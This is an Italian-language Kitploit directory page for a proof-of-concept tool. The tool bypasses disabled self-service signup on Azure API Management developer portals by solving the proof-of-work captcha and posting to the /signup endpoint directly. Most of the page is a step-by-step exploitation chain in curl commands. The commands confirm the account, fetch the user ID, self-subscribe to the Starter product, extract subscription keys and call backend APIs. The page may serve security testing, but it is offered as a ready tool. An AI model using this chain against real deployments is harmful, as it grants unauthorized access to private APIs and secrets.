Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Azure-APIM-Dev-Portal-Signup-Bypass — Script Python per aggirare la registrazione ad Azure APIM quando l'interfaccia utente è disabilitata; a differenza della CVE-2025-66390, non richiede alcuna configurazione cross-tenant. | Kitploit
Strumenti/GitHubGitHub/dz-y/azure-apim-dev-portal-signup-bypass
Autenticazione e AutorizzazioneSicurezza dell'Infrastruttura CloudSfruttamento di Applicazioni WebTest di Sicurezza delle APIPenetration TestingSicurezza CloudConfigurazione ErrataSicurezza delle API

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Bypass CAPTCHA
GitHubdz-y/azure-apim-dev-portal-signup-bypass

Azure-APIM-Dev-Portal-Signup-Bypass

Script Python per aggirare la registrazione ad Azure APIM quando l'interfaccia utente è disabilitata; a differenza della CVE-2025-66390, non richiede alcuna configurazione cross-tenant.

Vedi Repository
111 mese faNon ancora revisionato

Uno script proof-of-concept per bypassare la registrazione disabilitata del portale per sviluppatori in Azure API Management (APIM) invocando direttamente l'API di registrazione backend.

Cosa fa

I portali per sviluppatori di Azure APIM possono essere configurati per disabilitare la registrazione self-service tramite l'interfaccia del portale. In alcune distribuzioni, l'endpoint API sottostante (/signup) rimane attivo e raggiungibile anche quando il pulsante nell'interfaccia è nascosto o rimosso. Questo script sfrutta questa lacuna:

  1. Recuperando la sfida captcha proof-of-work (PoW) da /v2/captcha-challenge
  2. Provando a forza bruta la soluzione PoW SHA-256 lato client
  3. Inviando una richiesta di registrazione direttamente a /signup con la sfida risolta e i dettagli dell'account

Tutti gli input (URL di destinazione, credenziali, proxy) vengono richiesti in modo interattivo durante l'esecuzione.

Relazione con CVE-2025-66390

CVE-2025-66390 (CVSS 9.8 Critical) descrive un bypass della registrazione APIM cross-tenant: un attaccante abusa di un tenant in cui la registrazione è abilitata per registrare account in un tenant diverso in cui la registrazione è disabilitata, manipolando l'header Host nelle richieste API. Microsoft lo ha classificato come un problema di configurazione piuttosto che una vulnerabilità del prodotto.

Questo non richiede la creazione di alcun tenant incrociato; usa invece semplicemente l'endpoint /v2/captcha-challenge per risolvere il captcha in 75000 iterazioni (in media).

Utilizzo

root@kitploit:~
python3 apim_signup.py

Richiede URL di destinazione, dettagli dell'account, password (input nascosto, mostrato per conferma) e proxy opzionale.

Catena di sfruttamento post-registrazione

Una volta che la richiesta di registrazione ha successo e arriva l'email di conferma, la catena di attacco completa è:

Passaggio 1 — Conferma l'email

Fai clic sul link di conferma nell'email di registrazione. Questo attiva l'account prima che l'API di gestione lo autentichi.

Passaggio 2 — Autenticati e ottieni l'ID utente

Chiama l'API di gestione APIM con autenticazione Basic (base64(email:password)) per ottenere il tuo ID utente interno:

root@kitploit:~
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}

Il campo id restituito viene utilizzato in tutte le successive chiamate all'API di gestione.

OPPURE chiama /developer/identity?api-version=2022-04-01-preview <-- la versione non ha importanza Verrà visualizzata un'interfaccia che chiederà di accedere; da lì puoi ottenere anche il tuo ID.

image

Passaggio 3 — Auto-iscriviti a un prodotto

Il prodotto predefinito Starter viene fornito con approvalRequired: false, il che significa che non è necessaria alcuna approvazione dell'amministratore. Iscriviti automaticamente tramite PUT:

root@kitploit:~
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>" \
  -H "Content-Type: application/json" \
  -d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created

Un'email di conferma ("La tua sottoscrizione allo Starter") arriva da [email protected].

Passaggio 4 — Recupera le chiavi di sottoscrizione

root@kitploit:~
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}

Passaggio 5 — Chiama le API backend

Usa la chiave primaria come Ocp-Apim-Subscription-Key verso il gateway APIM per effettuare chiamate backend autenticate:

root@kitploit:~
curl -s "https://<service>.azure-api.net/<api-path>" \
  -H "Ocp-Apim-Subscription-Key: <primaryKey>"

L'accesso è determinato dalle API associate al prodotto Starter: in una distribuzione configurata in modo errato, questo può esporre backend interni senza ulteriore autenticazione.


Per ulteriori dettagli, questo articolo descrive molto bene la catena; basta rimuovere la parte sul cross-tenant. https://www.praetorian.com/blog/azure-apim-signup-bypass/

Scarica lo strumento